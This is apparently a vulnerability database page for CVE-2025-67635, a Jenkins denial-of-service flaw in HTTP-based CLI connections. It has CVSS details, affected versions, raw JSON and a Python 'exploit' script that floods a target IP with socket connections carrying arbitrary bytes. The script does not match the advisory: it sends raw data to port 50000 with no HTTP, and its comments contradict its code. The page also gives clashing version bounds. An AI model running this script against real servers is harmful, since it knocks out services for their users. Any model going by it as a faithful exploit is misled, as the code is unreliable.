Security Vulnerability Report
中文
CVE-2025-67635 CVSS 7.5 HIGH

CVE-2025-67635

Published: 2025-12-10 17:15:56
Last Modified: 2025-12-17 17:39:45

Description

Jenkins 2.540 and earlier, LTS 2.528.2 and earlier does not properly close HTTP-based CLI connections when the connection stream becomes corrupted, allowing unauthenticated attackers to cause a denial of service.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:jenkins:jenkins:*:*:*:*:lts:*:*:* - VULNERABLE
cpe:2.3:a:jenkins:jenkins:*:*:*:*:-:*:*:* - VULNERABLE
Jenkins < 2.540
Jenkins LTS < 2.528.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-67635 PoC - Jenkins CLI Connection DoS This PoC demonstrates the denial of service vulnerability in Jenkins CLI. """ import socket import time def exploit_jenkins_cli_dos(target_ip, target_port=50000): """ Exploit Jenkins CLI connection stream corruption leading to resource exhaustion. """ try: # Create multiple connections with corrupted data connections = [] for i in range(100): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # Send corrupted/incomplete CLI protocol data # This mimics a malformed CLI handshake corrupted_data = b'\x00\x01\x02\x03\x04\xff\xfe\xfd' sock.send(corrupted_data) # Close connection abruptly without proper termination # This leaves server-side resources in corrupted state connections.append(sock) except Exception as e: print(f'Connection {i} failed: {e}') print(f'[*] Sent {len(connections)} corrupted CLI connections') print('[*] Target may have resource exhaustion. Check Jenkins availability.') # Cleanup for sock in connections: try: sock.close() except: pass except Exception as e: print(f'[-] Exploit failed: {e}') if __name__ == '__main__': import sys if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip> [port]') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 50000 exploit_jenkins_cli_dos(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67635", "sourceIdentifier": "[email protected]", "published": "2025-12-10T17:15:55.950", "lastModified": "2025-12-17T17:39:45.483", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Jenkins 2.540 and earlier, LTS 2.528.2 and earlier does not properly close HTTP-based CLI connections when the connection stream becomes corrupted, allowing unauthenticated attackers to cause a denial of service."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-404"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jenkins:jenkins:*:*:*:*:lts:*:*:*", "versionEndExcluding": "2.528.3", "matchCriteriaId": "A276E9FE-7CB8-4B6B-A399-14C0E7B10BC4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:jenkins:jenkins:*:*:*:*:-:*:*:*", "versionEndExcluding": "2.541", "matchCriteriaId": "F2388D03-0340-4C73-97B7-FB06AB6E972B"}]}]}], "references": [{"url": "https://www.jenkins.io/security/advisory/2025-12-10/#SECURITY-3630", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}